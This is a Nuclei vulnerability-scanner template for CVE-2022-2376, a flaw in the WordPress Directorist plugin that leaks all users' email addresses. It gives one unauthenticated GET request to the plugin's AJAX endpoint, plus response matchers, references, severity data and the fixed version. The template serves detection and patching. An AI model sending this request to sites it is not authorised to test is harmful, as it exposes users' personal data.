nuclei-templates/http/cves/2022/CVE-2022-2376.yaml

id: CVE-2022-2376

info:
  name: WordPress Directorist <7.3.1 - Information Disclosure
  author: Random-Robbie
  severity: medium
  description: WordPress Directorist plugin before 7.3.1 is susceptible to information disclosure. The plugin discloses the email address of all users in an AJAX action available to both unauthenticated and authenticated users.
  reference:
    - https://wpscan.com/vulnerability/437c4330-376a-4392-86c6-c4c7ed9583ad
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2376
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2376
  remediation: Fixed in version 7.3.1.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-2376
    cwe-id: CWE-862
    cpe: cpe:2.3:a:wpwax:directorist:*:*:*:*:*:*:*:*
    epss-score: 0.10443
  tags: cve,cve2022,wp-plugin,wpscan,wordpress,wp,directorist,unauth,disclosure
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=directorist_author_pagination'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'directorist-authors__card__details__top'
          - 'directorist-authors__card__info-list'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

# Enhanced by md on 2023/04/07